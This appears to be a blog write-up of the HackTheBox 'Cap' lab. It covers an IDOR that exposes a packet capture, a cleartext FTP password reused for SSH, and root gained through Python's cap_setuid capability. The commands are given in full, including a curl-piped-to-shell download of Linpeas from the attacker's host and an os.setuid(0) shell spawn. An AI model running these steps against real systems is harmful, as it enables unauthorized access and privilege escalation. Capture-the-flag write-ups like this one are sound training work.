CAP HTB: CAP Walkthrough
Overview
So, I just wrapped up “Cap” on HackTheBox. Honestly, this machine is a fantastic reminder of why we shouldn’t just rely on standard SUID binaries when we are looking to escalate privileges. The main learning point here revolves around web-based Insecure Direct Object References (IDOR) to sniff traffic, and then leveraging Linux Capabilities — specifically cap_setuid—to slide right into root.
Enumeration
To kick things off, I wanted to see what ports were open and running on the target. I fired up a classic, straightforward Nmap scan to check services and run default scripts:
└─$ nmap -sV -sC 10.129.45.187The scan returned three open ports:
- Port 21: FTP (vsftpd 3.0.3)
- Port 22: SSH (OpenSSH 8.2p1)
- Port 80: HTTP (Gunicorn running a “Security Dashboard”)
With HTTP open, I decided to check out the website in my browser. While poking around the dashboard, I noticed a section for PCAP files. When I clicked on it, it redirected me to a URL structure that looked like this: http://10.129.45.187/data/1.
Seeing that /data/1 in the URL immediately made me think of IDOR (Insecure Direct Object Reference). I wondered what would happen if I started messing with that number.
Exploitation
Getting User
I looked at Nathan’s profile on the site, but there wasn’t anything special there. I decided to change the 1 to a 0 (http://10.129.45.187/data/0), and boom, would you look at that!
I saw some really juicy data on the page. Since the web page had a built-in option to download the PCAP file, and I knew there was an open FTP server on the machine, I figured this packet capture might contain some actual network traffic from someone logging in.
I downloaded the file and opened it up in Wireshark. Since I was targeting FTP, I simply typed ftp into the display filter to see what I could find.
And there it was! A clear-text login capture showing Nathan logging into the FTP server with the password Buck3tH...0RM3!.
Knowing that reuse is super common, I immediately tried using those exact same credentials to SSH into the machine as nathan:
└─$ ssh nathan@10.129.45.187The password worked perfectly, and I was in! From there, grabbing the user flag was a breeze:
nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
0bf96f9b0.............1fb5ec94Privilege Escalation
Now it was time to find a way to get root. I’m not going to lie, privilege escalation sometimes makes me scratch my head a bit, and this run was no exception.
Get 6r4nd0n’s stories in your inbox
Join Medium for free to get updates from this writer.
Normally, the first three things I check are:
- SUID binaries:
find / -perm -u=s -type f 2>/dev/null - Running processes:
ps -auxorss -tlnp
I ran my usual SUID search and looked at the running processes, but I found absolutely nothing useful. I was totally stuck.
Since I was playing the guided version of the lab, I decided to take a tiny peek at the hints. The hint mentioned that the privilege escalation could be done with binaries, but I still couldn’t see any weird SUID files.
After scratching my head for a bit, I decided to bring out the big guns: Linpeas. Linpeas is an absolute lifesaver of a tool for highlighting privilege escalation vectors you might miss with manual checks.
To get it onto the target, I set up a quick Python HTTP server on my local attack machine:
─$ sudo python3 -m http.server 80Then, on the victim machine as Nathan, I curled the script and piped it directly into bash:
nathan@cap:~$ curl 10.10.14.29/linpeas.sh | shLinpeas started scanning away. When I looked through the results under the Files with capabilities section, something stood out immediately:
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eipAha! /usr/bin/python3.8 had the cap_setuid capability set.
For some quick context: cap_setuid is a Linux capability that allows a process to manipulate its own UID (User ID). This means Python could set its effective user ID to root (0) without needing the actual SUID bit to be set on the binary itself. No wonder this lab was named cap.
To exploit this, I ran the Python 3.8 binary, imported the os module, set the UID to 0 (root), and spawned a bash shell:
nathan@cap:~$ /usr/bin/python3.8
>>> import os
>>> os.setuid(0)
>>> os.system('/bin/bash')It worked beautifully. I instantly got a root shell!
root@cap:~# whoami
rootAll that was left to do was navigate to the root directory and claim the final flag:
root@cap:~# cd /root
root@cap:/root# cat root.txt
eb5209ffaa879963.....ecf4ad76Key Takeaways
- Look beyond SUID/SGID: This machine was a great lesson on Linux Capabilities. Even if standard SUID searches turn up empty, always check for capabilities using Linpeas or
getcap -r / 2>/dev/null. - Inspect Web Parameters: Simple URL parameter manipulation (
/data/1->/data/0) can reveal massive information disclosures, including full packet captures of sensitive administrative traffic. - Don’t Overlook PCAPs: If you find a PCAP file on a server, download it. Cleartext protocols like FTP, HTTP, or Telnet are goldmines for credentials.
Tools Used
- Nmap — Initial ports and service enumeration
- Wireshark — Analyzing the downloaded PCAP file to retrieve credentials
- Linpeas — Privilege escalation vector enumeration (identifying the Python capability)
- Python HTTP Server — Hosting Linpeas on the attack machine






